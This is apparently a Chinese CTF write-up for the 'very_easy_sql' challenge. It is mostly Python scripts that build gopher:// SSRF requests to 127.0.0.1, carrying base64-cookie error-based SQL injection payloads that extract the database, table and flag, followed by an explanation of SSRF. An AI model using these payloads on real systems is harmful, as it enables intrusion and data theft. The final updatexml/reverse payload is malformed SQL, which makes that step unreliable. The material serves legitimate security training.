进入题目页面如下

SQL注入一顿尝试,结果什么回显也没有qyq,看到这行话
you are not an inner user, so we can not let you have identify~
你不是内部用户,所以我们不能让你有认同~
提示内部用户
ctrl+u查看源码

看都被注释的文件名
访问看看

看来不是SQL注入,题目有误导性啊qyq,(后面才发现会有SQL注入)再联想内部用户且curl命令用于在命令行中传输数据。可以用来发送请求、下载文件、上传数据等
猜测是SSRF漏洞
编写脚本从而进行内部访问
构建一个包含HTTP、POST请求的Gopher协议的URL
python脚本
python
import urllib.parse
# 定义服务器的主机和端口
host = "127.0.0.1:80"
# 定义要发送的表单数据
content = "uname=admin&passwd=admin"
# 计算表单数据的长度
content_length = len(content)
# 构建 HTTP POST 请求的原始字符串
request_template = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
"""
# 使用 format 方法填充模板中的占位符
request = request_template.format(host, content_length, content)
# 第一次进行 URL 编码
quoted_request = urllib.parse.quote(request)
# 将编码后的字符串中的 %0A 替换为 %0D%0A
replaced_request = quoted_request.replace("%0A", "%0D%0A")
# 第二次进行 URL 编码
final_quoted_request = urllib.parse.quote(replaced_request)
# 构建最终的 Gopher 协议 URL
gopher_url = "gopher://" + host + "/_" + final_quoted_request
# 打印最终的 Gopher 协议 URL
print(gopher_url)
导入urllib.parse模块,提供处理URL编码等操作
最后将host和最终编码后的请求字符串组合成Gopher协议的URL
运行结果如下

?url=gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A
访问并用burp suite抓包

看到cookie值处显示this_is_your_cookie=YWRtaW4%3D
看着像base64编码,解码看看
python脚本
python
import base64
import urllib.parse
# 对输入的字符串进行 URL 解码
decoded_url = urllib.parse.unquote('YWRtaW4%3D')
# 进行 Base64 解码
decoded_bytes = base64.b64decode(decoded_url)
# 将解码后的字节对象转换为字符串
decoded_string = decoded_bytes.decode('utf-8')
print(decoded_string)
结果如下

是admin
猜测注入点在setcookie
开始SQL注入
判断是整数型注入还是字符型注入
加 ' 判断
admin' #
再次构建Gopher协议的URL,并修改cookie值
python脚本
python
import urllib.parse
# 定义主机地址和端口
host = "127.0.0.1:80"
# 定义要发送的 Cookie 信息
cookie = "this_is_your_cookie=YWRtaW4nICM="
# 定义 HTTP 请求的模板字符串,使用占位符等待填充具体信息
request_template = """GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
"""
# 使用 format 方法将 host 和 cookie 信息填充到模板字符串中
request = request_template.format(host, cookie)
# 第一次进行 URL 编码,将请求字符串中的特殊字符转换为 %xx 形式
first_quoted = urllib.parse.quote(request)
# 将第一次编码后的字符串中的 %0A(换行符)替换为 %0D%0A(回车换行符)
replaced = first_quoted.replace("%0A", "%0D%0A")
# 第二次进行 URL 编码,确保最终结果符合 URL 规范
second_quoted = urllib.parse.quote(replaced)
# 构建最终的 Gopher 协议 URL
gopher_url = f"gopher://{host}/_{second_quoted}"
# 打印最终生成的 Gopher 协议 URL
print(gopher_url)
实现了构造一个包含特定 Cookie 信息的请求,将其转换为符合 Gopher 协议的 URL 格式
结果如下

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A
传参进去

看到有报错,进行报错注入
看了大佬的博客才知道,报错信息提示闭合点为admin') #,附上链接
攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-CSDN博客
xian's数据库信息
payload
admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #
再次构建Gopher协议的URL,并构造payload
python脚本
python
import base64
import urllib.parse
# 定义目标主机和端口
target_host = "127.0.0.1"
target_port = 80
host = f"{target_host}:{target_port}"
# 构造SQL注入载荷
injection_payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"
# 对载荷进行Base64编码
encoded_payload = base64.b64encode(injection_payload.encode("utf-8")).decode("utf-8")
# 构造Cookie头
cookie_header = f"this_is_your_cookie={encoded_payload}"
# 构造HTTP请求
http_request = (
"GET /index.php HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Connection: close\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Cookie: {cookie_header}\r\n"
"\r\n"
)
# 将请求内容进行URL编码
encoded_request = urllib.parse.quote(http_request)
# 替换换行符为\r\n,以符合HTTP协议的换行要求
final_request = encoded_request.replace("%0A", "%0D%0A")
# 构造最终的Gopher协议请求
gopher_request = f"gopher://{host}/_{final_request}"
print(gopher_request)
结果如下

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A
回显数据库信息

爆数据库名
payload
admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #
这里参考了大佬的脚本攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-CSDN博客
python
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSAj%250D%250A%250D%250A
url传参

数据库名为security
爆表名
payload
admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #
python脚本
python
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpKSAj%250D%250A%250D%250A
传参进去

看到有flag表
爆字段名
payload
admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #
python脚本
python
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVChjb2x1bW5fbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSdmbGFnJyksMHg3ZSkpICM%253D%250D%250A%250D%250A
传参进去

爆出字段的内容
admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #
python脚本
python
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIGZsYWcgZnJvbSBmbGFnKSwweDdlKSkgIw%253D%253D%250D%250A%250D%250A

果然像之前做的报错注入的题,只显示了一半flag,因为报错注入最大回显32位
admin') AND UPDATEXML(1,CONCAT(0x7e,REVERSE((SELECT database())),0x7e),1)
倒置结果输出
python
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and updatexml(1,concat(0x7e,reverse((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
最后组合,得到flag
cyberpeace{95e602bcf657b29d487733b9e29977ab}
SSRF知识点
SSRF(Server-Side Request Forgery),即服务器端请求伪造,是一种网络安全漏洞。
SSRF 是一种攻击方式,攻击者能够诱使服务器端应用程序向攻击者选择的目标发起请求。由于服务器通常具有更高的权限和更广泛的网络访问权限,因此可以绕过网络访问控制,访问内部系统或其他受保护的资源。
攻击原理
当应用程序需要从用户输入中获取 URL 并发起请求时,攻击者可以通过构造恶意的 URL 来发起 SSRF 攻击。例如,一个应用程序需要从用户输入的 URL 中读取数据,攻击者可以将这个 URL 指向内部网络地址或其他受保护的资源。
常见的触发点
文件上传功能:当应用程序对上传的文件进行处理,如解析文件中的 URL 并发起请求时。URL 重定向功能:如果应用程序将用户提供的 URL 进行重定向,可能会被利用。
第三方服务集成:例如,使用用户提供的 URL 调用外部 API 或从其他服务获取数据。
信息泄露
可以访问内部系统的敏感信息,如数据库、文件服务器等。例如,利用 SSRF 访问内部的 http://localhost:8080 可能会获取到内部服务器上运行的服务信息。
服务端请求攻击
可以对内部网络的其他服务发起攻击,例如对内部的 Redis 服务发送恶意命令,进行数据篡改或信息窃取。
绕过防火墙
绕过网络防火墙,因为请求是从内部服务器发起的,而不是外部攻击者直接发起。